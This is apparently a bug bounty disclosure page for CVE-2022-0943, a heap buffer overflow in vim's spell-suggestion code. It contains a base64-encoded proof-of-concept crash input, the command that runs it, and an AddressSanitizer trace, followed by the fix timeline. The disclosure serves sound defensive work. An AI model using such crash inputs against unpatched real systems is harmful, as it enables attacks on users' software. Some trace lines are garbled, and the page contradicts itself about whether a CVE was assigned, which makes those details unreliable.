

## Heap-based Buffer Overflow occurs in vim in vim/vim

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### Description

Heap-based Buffer Overflow occurs in suggest\_try\_change().

commit : d0b7bfa95798f5ec743d8afffbffb83aeac823da

### Proof of Concept

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$ echo -ne "c2UgZW5jb2Rpbmc9aXNvODg1OQpub3JtMFIwMDAwMDAwMDAwMApzaWwwbm9ybR\
aWwhbm9ybRZpMDAwMDApCmNhbCBSKCkKbm9ybTF6PQplbmRmCmNhbCBSKCk=" | base64 -d
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$ ASAN
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```
$ ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
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```
==127228==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000000:
READ of size 1 at 0x612000000000 thread T0
```

```
#0 0x430f35 in strlen (/home/alkyne/vim-debug/src/vim.asan+0x430f35)
#1 0xbb0404 in suggest_try_change /home/alkyne/vim-debug/src/spellsuggest.c:104
#2 0xbaa268 in spell_suggest_intern /home/alkyne/vim-debug/src/spellsuggest.c:104
#3 0xba6e13 in spell_find_suggest /home/alkyne/vim-debug/src/spellsuggest.c:104
#4 0xba37da in spell_suggest /home/alkyne/vim-debug/src/spellsuggest.c:104
#5 0x922c10 in nv_zet /home/alkyne/vim-debug/src/normal.c:2998:7
#6 0x8f406d in normal_cmd /home/alkyne/vim-debug/src/normal.c:930:5
#7 0x6f763d in exec_normal /home/alkyne/vim-debug/src/ex_docmd.c:8670:6
#8 0x6f7243 in exec_normal_cmd /home/alkyne/vim-debug/src/ex_docmd.c:8670:6
#9 0x6f6fa3 in ex_normal /home/alkyne/vim-debug/src/ex_docmd.c:8551:6
#10 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
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#15 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:1
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#213 0x6d3442 in do\_one\_cmd /home/alkyne/vim-debug/src/ex\_docmd.c:2567:  
#214 0x6c71d2 in do\_cmdline /home/alkyne/vim-debug/src/ex\_docmd.c:993:1  
#215 0xcf0fd2 in call\_user\_func /home/alkyne/vim-debug/src/userfunc.c:2  
#216 0xd09fee in ex\_call /home/alkyne/vim-debug/src/userfunc.c:5458:6

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#216 0xcee0b6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:3558:1
#217 0xcea762 in call_func /home/alkyne/vim-debug/src/userfunc.c:3558:1
#218 0xce8ae4 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1787:1

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#250 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2567:1

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0x6120000212f8 is located 0 bytes to the right of 312-byte region [0x612000000000, 0x6120000212f8] allocated by thread T0 here:

```

#0 0x499c8d in malloc (/home/alkyne/vim-debug/src/vim.a:0x499c8d)
#1 0x4cb0e0 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
#2 0x4cb0e0 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11

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#2 0x4cb039 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
#3 0xbca715 in vim_strsave /home/alkyne/vim-debug/src/strings.c:27:9
#4 0xba364f in spell_suggest /home/alkyne/vim-debug/src/spellsuggest.c:
#5 0x922c10 in nv_zet /home/alkyne/vim-debug/src/normal.c:2998:7
#6 0x8f406d in normal_cmd /home/alkyne/vim-debug/src/normal.c:930:5
#7 0x6f763d in exec_normal /home/alkyne/vim-debug/src/ex_docmd.c:8670:6
#8 0x6f7243 in exec_normal_cmd /home/alkyne/vim-debug/src/ex_docmd.c:86
#9 0x6f6fa3 in ex_normal /home/alkyne/vim-debug/src/ex_docmd.c:8551:6
#10 0x6d3442 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
#11 0x6c71d2 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
#12 0xcf0fd2 in call_user_func /home/alkyne/vim-debug/src/userfunc.c:28
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SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/vim-debug/src  
Shadow bytes around the buggy address:

```

0x0c247fffc200: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fffc210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fffc220: 00 00 00 00 00 00 00 00 00 01 fa fa fa fa fa fa
0x0c247fffc230: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fffc240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fffc250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [fa]
0x0c247fffc260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fffc270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fffc280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fffc290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

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0x0c24/++++c290: ta ta ta ta ta ta ta ta ta ta ta ta ta ta ta ta  
0x0c247fffc2a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
Left alloca redzone: ca  
Right alloca redzone: cb  
Shadow gap: cc  
==127228==ABORTING



## Impact

This vulnerability is capable of exploiting the binary.

### CVE

CVE-2022-0943

(Published)

### Vulnerability Type

CWE-122: Heap-based Buffer Overflow

### Severity

High (8.4)

### Visibility

Public

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Status

Fixed

Found by

alkyne Choi

@alkyne

unranked

Fixed by



Bram Moolenaar

@brammool

maintainer

This report was seen 1,240 times.

We are processing your report and will contact the **vim** team within 24 hours. 8 months ago

We have contacted a member of the **vim** team and are waiting to hear back 8 months ago

Bram Moolenaar validated this vulnerability 8 months ago

alkyne Choi has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Bram Moolenaar 8 months ago

Maintainer

The POC can be simplified, there is no need for calling the function recursively.

Bram Moolenaar marked this as fixed in 8.2 with commit 5c6861 8 months ago

Bram Moolenaar has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

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